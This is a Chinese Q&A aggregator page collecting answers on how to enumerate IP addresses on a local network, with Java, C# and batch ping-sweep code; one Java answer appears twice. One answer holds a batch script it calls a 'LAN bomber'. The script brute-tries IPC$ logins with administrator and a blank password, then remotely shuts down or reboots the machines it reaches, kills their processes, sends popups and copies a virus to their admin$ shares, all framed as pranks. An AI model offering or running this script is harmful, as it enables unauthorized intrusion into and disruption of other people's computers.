導航:首頁 > 網路安全 > 如何遍歷網路地址

如何遍歷網路地址

發布時間:2022-07-27 13:08:49

如何用Java遍歷一個網路目錄下的所有文件

java中可以通過遞歸的方式獲取指定路徑下的所有文件並將其放入List集合中。 假設指定路徑為path,目標集合為fileList,遍歷指定路徑下的所有文件,如果是目錄文件則遞歸調用

㈡ java如何獲取區域網內所有IP

1.得到區域網網段,可由自己機器的IP來確定 (也可以手動獲取主機IP-CMD-ipconfig /all)
2.根據IP類型,一次遍歷區域網內IP地址
JAVA類,編譯之後直接運行便可以得到區域網內所有IP,具體怎樣使用你自己編寫相應代碼調用便可
代碼如下::
package bean;

import java.io.*;
import java.util.*;

public class Ip{
static public HashMap ping; //ping 後的結果集
public HashMap getPing(){ //用來得到ping後的結果集
return ping;
}

//當前線程的數量, 防止過多線程摧毀電腦
static int threadCount = 0;

public Ip() {
ping = new HashMap();
}

public void Ping(String ip) throws Exception{
//最多30個線程
while(threadCount>30)
Thread.sleep(50);
threadCount +=1;
PingIp p = new PingIp(ip);
p.start();
}

public void PingAll() throws Exception{
//首先得到本機的IP,得到網段
InetAddress host = InetAddress.getLocalHost();
String hostAddress = host.getHostAddress();
int k=0;
k=hostAddress.lastIndexOf(".");
String ss = hostAddress.substring(0,k+1);
for(int i=1;i <=255;i++){ //對所有區域網Ip
String iip=ss+i;
Ping(iip);
}

//等著所有Ping結束
while(threadCount>0)
Thread.sleep(50);
}

public static void main(String[] args) throws Exception{
Ip ip= new Ip();
ip.PingAll();
java.util.Set entries = ping.entrySet();
Iterator iter=entries.iterator();

String k;
while(iter.hasNext()){
Map.Entry entry=(Map.Entry)iter.next();
String key=(String)entry.getKey();
String value=(String)entry.getValue();

if(value.equals("true"))
System.out.println(key+"-->"+value);
}
}
class PingIp extends Thread{
public String ip; // IP
public PingIp(String ip){
this.ip=ip;
}

public void run(){
try{
Process p= Runtime.getRuntime().exec ("ping "+ip+ " -w 300 -n 1");
InputStreamReader ir = new InputStreamReader(p.getInputStream());
LineNumberReader input = new LineNumberReader (ir);
//讀取結果行
for (int i=1 ; i <7; i++)
input.readLine();
String line= input.readLine();

if (line.length() <17 || line.substring(8,17).equals("timed out"))
ping.put(ip,"false");
else
ping.put(ip,"true");
//線程結束
threadCount -= 1;
}catch (IOException e){}
}
}
}

㈢ 如何遍歷ip地址

小腳本中的一些東西結合起來可以達到你的要求(Windows環境中),不是要完全的照搬,呵呵。

shell不會玩,Windows下的bat還會點...
還有一點 要在Windows中調用linux中的shell腳本啊?
應該不可能...或者很難!

在Windows下我才能做到,不過太費時間了,給你兩段現成的代碼,如果你有時間有興趣的話,可以在Windows下玩玩這代碼,你有興趣的話可以結合一下,然後再做一些修改就能達到你要的要求!

第一段:
@echo off
title 掃描在線IP
::MODE con: COLS=60 LINES=18
color 0a
::裝飾。

:kaishi
cls
for /l %%i in (1,1,4) do echo.
set /p qishi= 起始IP:
set /p jieshu= 終止IP:
IF ERRORLEVEL 1 echo 錯誤的IP地址格式! && pause && goto kaishi
echo.
::從鍵盤獲得兩個變數的值。

for /f "tokens=1-4 delims=." %%a in ("%qishi%") do (
if %%a LSS 0 goto error_2
if %%a GTR 255 goto error_2
if %%b LSS 0 goto error_2
if %%b GTR 255 goto error_2
if %%c LSS 0 goto error_2
if %%c GTR 255 goto error_2
if %%d LSS 0 goto error_2
if %%d GTR 255 goto error_2
set v1=%%a
set v2=%%b
set v3=%%c
set v4=%%d
)
::分離起始IP的四個段並賦值,判斷IP是否正確。

for /f "tokens=1-4 delims=." %%a in ("%jieshu%") do (
if %%a LSS 0 goto error_2
if %%a GTR 255 goto error_2
if %%b LSS 0 goto error_2
if %%b GTR 255 goto error_2
if %%c LSS 0 goto error_2
if %%c GTR 255 goto error_2
if %%d LSS 0 goto error_2
if %%d GTR 255 goto error_2
set v5=%%a
set v6=%%b
set v7=%%c
set v8=%%d
)
::分離終止IP的四個段並賦值,判斷IP是否正確。

IF %V5% LSS %V1% echo 錯誤:終止IP不能小於起始IP。& pause & goto kaishi
::判斷終止IP與起始IP的正確性。

IF %V4% LEQ %V8% set zeng_1=1
IF %V4% GEQ %V8% set zeng_1=-1
IF %v3% LEQ %v7% set zeng_2=1
IF %V3% GEQ %V7% set zeng_2=-1
IF %v2% LEQ %v6% set zeng_3=1
IF %v2% GEQ %v6% set zeng_3=-1
for /L %%d in (%v1%,1,%v5%) do (
for /L %%c in (%v2%,%zeng_3%,%v6%) do (
for /L %%b in (%v3%,%zeng_2%,%v7%) do (
for /L %%a in (%v4%,%zeng_1%,%v8%) do (
ping /n 1 %%d.%%c.%%b.%%a >nul && echo %%d.%%c.%%b.%%a OK || echo %%d.%%c.%%b.%%a ERROR
echo %%d.%%c.%%b.%%a
)
)
)
)
echo 掃描完畢!
pause & goto kaishi

:error_2
echo 錯誤的IP地址!
pause
goto kaishi

第二段(未編寫測試完):
@echo off
setlocal enabledelayedexpansion
title Win 2k 區域網轟炸器 未完待續 ~す珹す~
color 0a

:start
echo -------------------------------------------------------------------------------
echo 收集信息中... & echo.
for /f "tokens=15" %%i in ('ipconfig ^| find /i "ip address"') do set ip=%%i
for /f "tokens=1,2,3 delims=." %%i in ('echo !ip!') do set wd=%%i.%%j.%%k
echo 你的 IP 地址是:!ip!
echo 你所在的網段是:!wd!
echo.
echo ---請選擇掃描在線主機的掃描方式---
echo 1.ping 2.net view 3.exit 註:直接按回車鍵使用默認方式!
set /p fs=請輸入:
if "%fs%"=="" goto ping
if "%fs%"=="1" goto ping
if "%fs%"=="2" goto net view
if "%fs%"=="3" exit
cls & goto start

:ping
echo.
echo 輸入需要掃描的IP范圍(不需輸網段) 1至255之內 結尾數不能小於起始數!
set /p qs=起始數:
set /p js=結束數:
if !qs! gtr !js! echo 起始數 不能大於 結束數! && ping 127.1 /n 2 >nul 2>nul && goto ping
echo 正在掃描 !wd!.!qs! 至 !wd!.!js! 范圍內的主機在線情況...
echo -------------------------------------------------------------------------------
for /l %%i in (!qs!,1,!js!) do (
ping !wd!.%%i /n 1 >nul 2>nul && echo !wd!.%%i 在線! && echo !wd!.%%i>>zx.txt|| echo !wd!.%%i 離線!
)
echo --------------------------------------------------------------------------------
goto ipc$ scan

:net view
echo.
echo 此區域網內在線主機:
echo -------------------------------------------------------------------------------
FOR /F "eol=- delims=\\" %%c in ('net view') do (
FOR /F "eol=服" %%i in ('echo %%c') do (
FOR /F "eol=命" %%i in ('echo %%c') do (
echo %%i && echo %%i>>zx.txt
)
)
)
echo --------------------------------------------------------------------------------
goto ipc$ scan

:ipc$ scan
echo.
echo 即將開始ipc$掃描...
echo.
if not exist zx.txt echo sorry! 此區域網中無在線主機,無法進行ipc$掃描! 正在返回主菜單... && ping 127.1 /n 5 >nul 2>nul && cls && goto start
echo ipc$ 掃描時使用何用戶? 註:直接按回車鍵使用默認用戶!
echo 要用空用戶(空鏈接)請輸入
set /p user=請輸入:
if "!user!"=="" set user=administrator
if "!user!"=="null" set user=
echo ipc$ 掃描時使用何密碼? 註:直接按回車鍵使用默認密碼!
set /p password=請輸入:
if "!password!"=="" set password=
echo.
echo 你選擇的用戶為:!user!
echo 你選擇的密碼為:!password!
ping 127.1 /n 2 >nul 2>nul
echo.
echo 正在掃描能ipc$連接的機子...
set ipc$=0
for /f %%i in ('type zx.txt') do (
echo -------------------------------------------------------------------------------
net use \\%%i\ipc$ "!password!" /user:"!user!" >nul && (
set /a ipc$=!ipc$!+1
echo 連接 %%i 成功!
echo %%i>>ipc.txt
net use \\%%i /del>nul 2>nul
) || (
echo 連接 %%i 失敗! ↑↑↑以上是錯誤提示! ↑↑↑
)
)
echo --------------------------------------------------------------------------------
echo 按任意鍵進入下一步! & pause >nul

:kill
cls
for /l %%i in (1,1,9) do echo.
echo 掃描到 !ipc$! 台機器能ipc$連接成功!
for /l %%i in (1,1,3) do echo.
echo 請問美麗的大姐您要怎麼捉弄他們?
echo.
echo 1:關了他們 2:重啟他們 3:開啟服務
echo 4:傳送病毒 5:彈出消息 6:關閉進程
echo.
set /p shr= 請選擇:
if "!shr!"=="1" goto gj
if "!shr!"=="2" goto cq
if "!shr!"=="3" goto fw
if "!shr!"=="4" goto bd
if "!shr!"=="5" goto xx
if "!shr!"=="6" goto jc
goto kill

:gj
for /f %%i in ('type ipc.txt') do (
shutdown -m \\%%i -s -t 0
)
echo 完成! 按任意鍵返回主菜單!
pause>nul & goto start

:cq
for /f %%i in ('type ipc.txt') do (
shutdown -m \\%%i -r -t 0
)
echo 完成! 按任意鍵返回主菜單!
pause>nul & goto start

:fw
set /p fwm=請輸入需要開啟的服務名:
::還需檢測路勁
for /f %%i in ('type ipc.txt') do (
net start \\%%i !fwm!
)
echo 完成! 按任意鍵返回主菜單!
pause>nul & goto start

:bd
set /p bdm=請輸入要傳送的病毒的路徑:
for /f %%i in ('type ipc.txt') do (
!bdm! \\%%i\admin$
::還需開啟對方計劃任務服務 運行病毒
)
echo 完成! 按任意鍵返回主菜單!
pause>nul & goto start

:xx
set /p xx=請輸入要彈出的消息:
for /f %%i in ('type ipc.txt') do (
echo 正在彈消息中...
sc \\%%i config messenger start= auto >nul 2>nul
sc \\%%i start messenger >nul 2>nul
net send %%i !xx!
)
echo 完成! 按任意鍵返回主菜單!
pause>nul & goto start

:jc
set /p jc=請輸入需要關閉的進程名:
for /f %%i in ('type ipc.txt') do (
!bdm! \\%%i\admin$
taskkill /s \\%%i /f /im !jc!
)
echo 完成! 按任意鍵返回主菜單!
pause>nul & goto start1
pause

㈣ 如何獲取區域網內所有IP地址 java代碼

1.得到區域網網段,可由自己機器的IP來確定 (也可以手動獲取主機IP-CMD-ipconfig /all)
2.根據IP類型,一次遍歷區域網內IP地址
JAVA類,編譯之後直接運行便可以得到區域網內所有IP,具體怎樣使用你自己編寫相應代碼調用便可
代碼如下::
package bean;

import java.io.*;
import java.util.*;

public class Ip{
static public HashMap ping; //ping 後的結果集
public HashMap getPing(){ //用來得到ping後的結果集
return ping;
}

//當前線程的數量, 防止過多線程摧毀電腦
static int threadCount = 0;

public Ip() {
ping = new HashMap();
}

public void Ping(String ip) throws Exception{
//最多30個線程
while(threadCount>30)
Thread.sleep(50);
threadCount +=1;
PingIp p = new PingIp(ip);
p.start();
}

public void PingAll() throws Exception{
//首先得到本機的IP,得到網段
InetAddress host = InetAddress.getLocalHost();
String hostAddress = host.getHostAddress();
int k=0;
k=hostAddress.lastIndexOf(".");
String ss = hostAddress.substring(0,k+1);
for(int i=1;i <=255;i++){ //對所有區域網Ip
String iip=ss+i;
Ping(iip);
}

//等著所有Ping結束
while(threadCount>0)
Thread.sleep(50);
}

public static void main(String[] args) throws Exception{
Ip ip= new Ip();
ip.PingAll();
java.util.Set entries = ping.entrySet();
Iterator iter=entries.iterator();

String k;
while(iter.hasNext()){
Map.Entry entry=(Map.Entry)iter.next();
String key=(String)entry.getKey();
String value=(String)entry.getValue();

if(value.equals("true"))
System.out.println(key+"-->"+value);
}
}
class PingIp extends Thread{
public String ip; // IP
public PingIp(String ip){
this.ip=ip;
}

public void run(){
try{
Process p= Runtime.getRuntime().exec ("ping "+ip+ " -w 300 -n 1");
InputStreamReader ir = new InputStreamReader(p.getInputStream());
LineNumberReader input = new LineNumberReader (ir);
//讀取結果行
for (int i=1 ; i <7; i++)
input.readLine();
String line= input.readLine();

if (line.length() <17 || line.substring(8,17).equals("timed out"))
ping.put(ip,"false");
else
ping.put(ip,"true");
//線程結束
threadCount -= 1;
}catch (IOException e){}
}
}
}

㈤ 遍歷區域網IP

大概思路是這樣的,在某個IP地址段內,循環ping 別人的IP。ping通了就表明對方在線。因為平通一個IP需要時間,所以可以使用多線程提高效率。
string gate = "192.168.1.";//網關
for (int index = 1; index <= 255; index++)
{
IPAddress address = IPAddress.Parse(gate + index.ToString());
Thread thread = new Thread(new ThreadStart(
delegate()//匿名方法
{
Ping ping = new Ping();
PingReply result = ping.Send(address);
if (result.Status == IPStatus.Success)
{
lock (this.lstComputer)//防止2個線程去ping同一個IP,節約時間
{
this.lstComputer.Items.Add(Dns.GetHostEntry(address).HostName + " : " + address.ToString());//ping通的結果保存到ListBox中,即在線的人
}
}
}
));
thread.IsBackground = true;//設為後台線程
thread.Start();//啟動線程,開始去ping IP
}

㈥ 如何能遍歷一個網站,取得所有的靜態頁面

現在這社會,做一件事只有兩種方案:

  1. 自己會自己做。

  2. 自己不會,找會做的人做。

  3. 別人為什麼犧牲自己的時間精力專業能力為自己做事?那要看自己怎麼做。


從技術分析,既然是遍歷,那就是數量眾多,不想靠手工去實現。

既然不用手工要麼是硬體設備,要麼是軟體工具。而開發都需要時間去實現。

並且要根據目標網站的特性,針對性應對,並不是所有網站都一樣,有很多防遍歷的情況存在,所以要看具體情況。

㈦ C# 遍歷IP地址

public List <IPAddress> GetLiveIP(IPAddress startIP, IPAddress endIP)
{
List <IPAddress> ipList = new List <IPAddress>();
IPAddress currentIP = new IPAddress(startIP.Address);
currentIP = startIP;
while (currentIP.Address <= endIP.Address)
{
if (getIpState(currentIP) == "連接")
{
ipList.Add(currentIP);
}
currentIP = NextIP(currentIP);
}
return ipList;
}
/// 從一個IPAddress 獲取它的下一個 IPAddress
public IPAddress NextIP(IPAddress theIP)
{
uint startuint = (uint)IPAddress.NetworkToHostOrder((int)theIP.Address);

long NetWorklong = (long)IPAddress.HostToNetworkOrder((int)(startuint + 1));

return new IPAddress(NetWorklong);
}

/// 判斷IP是否活動

public bool IpIsLive(IPAddress theIP)
{
System.Net.NetworkInformation.Ping pi = new System.Net.NetworkInformation.Ping();
System.Net.NetworkInformation.PingReply pr = pi.Send(theIP);
if ((pr.Status & System.Net.NetworkInformation.IPStatus.Success) == System.Net.NetworkInformation.IPStatus.Success)
{
return true;
}
else
{
return false;
}
}

/// 用cmd 判斷IP狀態 (古老的方法,放著紀念)
public string getIpState(IPAddress theIP)
{
Process pcs = new Process();
pcs.StartInfo.FileName = "cmd.exe";
pcs.StartInfo.UseShellExecute = false;
pcs.StartInfo.RedirectStandardInput = true;
pcs.StartInfo.RedirectStandardOutput = true;
pcs.StartInfo.RedirectStandardError = true;
pcs.StartInfo.CreateNoWindow = true;

string pingStr;
pcs.Start();
pcs.StandardInput.WriteLine("ping -n 1 " + theIP.ToString());
pcs.StandardInput.WriteLine("exit");
string strRst = pcs.StandardOutput.ReadToEnd();

if (strRst.IndexOf("(0% loss)") != -1)
pingStr = "連接";
else if (strRst.IndexOf("Destination host unreachable.") != -1)
pingStr = "無法到達目的主機";
else if (strRst.IndexOf("Request timed out.") != -1)
pingStr = "超時";
else if (strRst.IndexOf("Unknown host") != -1)
pingStr = "無法解析主機";
else
pingStr = strRst;
pcs.Close();
return pingStr;
}
以前別人寫了,直接拿來用.....

㈧ 在java的swing應用中獲取本地ip後,根據網關如何遍歷連接獲得同一網段下的伺服器,並在下拉列表中顯示

用多線程+socket編程,遍歷連接網段的其他ip地址的常用埠是否開放。
或者用Runtime類調用ping命令,遍歷ping

㈨ 如何安卓端實現遍歷區域網的IP 、MAC以及埠號

區域網共享使用的埠,一般有以下幾個
1.135埠,這個是rpc服務的埠,共享的時候有用的
2.445埠,這是com埠,也和netbios有關

3.139埠 ,這個netbios使用的,共享里能查到機器名全靠這個了。
一般這幾個服務埠開放也基本上對應的服務沒有問題,共享就可以了

閱讀全文

與如何遍歷網路地址相關的資料

熱點內容
哪個星座最強勢網路調查 瀏覽:225
移動網路動畫 瀏覽:213
網路創業大神有什麼好點子嗎 瀏覽:277
5g滿信號但是網路很卡 瀏覽:607
家庭網路無線密碼怎麼知道 瀏覽:300
如何解決網路直播不良問題 瀏覽:11
怎樣選擇路由器網路連接方式 瀏覽:961
網路設置5位數怎麼改 瀏覽:690
東莞都在哪個網路招聘 瀏覽:724
電腦出現兩個無線網路適配器 瀏覽:768
維他網路用語什麼意思 瀏覽:793
計算機網路配置終端和路由器 瀏覽:124
網路學習編程哪個平台好 瀏覽:129
電信網路掛死怎麼解決 瀏覽:754
郵箱里的網路磁碟是否是共享 瀏覽:15
wifi網路突然無法加入 瀏覽:840
手機卡連接不了網路怎麼辦 瀏覽:670
服裝網路推廣怎麼弄 瀏覽:198
網路慈善如何解決 瀏覽:665
成都電信網路多少錢一年 瀏覽:84

友情鏈接